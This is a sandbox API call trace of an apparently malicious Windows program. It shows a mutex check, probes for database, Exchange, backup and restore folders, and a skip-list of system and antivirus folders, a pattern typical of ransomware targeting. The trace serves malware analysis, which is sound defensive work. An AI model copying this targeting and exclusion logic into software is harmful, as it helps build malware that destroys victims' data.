1 [0056.569] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.569] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.569] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.569] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.569] GlobalUnlock (hMem=0x44000c) returned 0 [0056.569] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.569] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.569] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.569] GlobalUnlock (hMem=0x44000c) returned 0 [0056.570] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.570] GlobalUnlock (hMem=0x440004) returned 0 [0056.570] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.570] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.570] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.570] GlobalUnlock (hMem=0x440004) returned 0 [0056.570] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.570] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.570] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.570] GlobalUnlock (hMem=0x440004) returned 0 [0056.570] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.570] GlobalUnlock (hMem=0x44000c) returned 0 [0056.570] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.570] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft", len=0x35 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned 1 [0056.570] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.570] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.570] GlobalUnlock (hMem=0x44000c) returned 0 [0056.570] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.570] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.570] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.570] GlobalUnlock (hMem=0x44000c) returned 0 [0056.570] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.570] GlobalUnlock (hMem=0x440004) returned 0 [0056.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@續R繠R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.570] GetLastError () returned 0x3 [0056.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@練R企@\x18㿬Q\x181")) returned 0xffffffff [0056.571] GetLastError () returned 0x2 [0056.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@Q企@\x18?T\x18;")) returned 0xffffffff [0056.571] GetLastError () returned 0x2 [0056.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@蔴T企@\x18?T\x18D")) returned 0xffffffff [0056.571] GetLastError () returned 0x2 [0056.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.571] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@練R企@\x18ⶔR\x18j")) returned 0xffffffff [0056.572] GetLastError () returned 0x2 [0056.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0056.572] GetLastError () returned 0x2 [0056.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⶐRp") returned 6 [0056.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@蔴T企@\x18?T\x18y")) returned 0xffffffff [0056.572] GetLastError () returned 0x2 [0056.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0056.573] GetLastError () returned 0x2 [0056.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0056.573] GetLastError () returned 0x2 [0056.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@蔴T企@\x18?T\x18\x8f")) returned 0xffffffff [0056.573] GetLastError () returned 0x2 [0056.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0056.573] GetLastError () returned 0x2 [0056.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.574] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.574] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.574] GlobalUnlock (hMem=0x440004) returned 0 [0056.574] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.574] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.574] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.574] GlobalUnlock (hMem=0x440004) returned 0 [0056.574] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.574] GlobalUnlock (hMem=0x44000c) returned 0 [0056.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.574] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.574] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.574] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.574] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.574] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.574] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.574] GlobalUnlock (hMem=0x44000c) returned 0 [0056.574] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.574] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.574] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.574] GlobalUnlock (hMem=0x44000c) returned 0 [0056.574] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.575] GlobalUnlock (hMem=0x440004) returned 0 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\") returned 0x36 [0056.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.575] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.575] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.575] GlobalUnlock (hMem=0x440004) returned 0 [0056.575] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.576] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.576] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.576] GlobalUnlock (hMem=0x440004) returned 0 [0056.576] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.576] GlobalUnlock (hMem=0x44000c) returned 0 [0056.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.576] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.576] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0056.576] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0056.576] GetLastError () returned 0x12 [0056.576] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.576] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.576] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.576] GlobalUnlock (hMem=0x44000c) returned 0 [0056.576] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.576] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.576] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.576] GlobalUnlock (hMem=0x44000c) returned 0 [0056.576] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.576] GlobalUnlock (hMem=0x440004) returned 0 [0056.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.576] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.576] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.576] GlobalLock (hMem=0x440004) returned 0x54f168 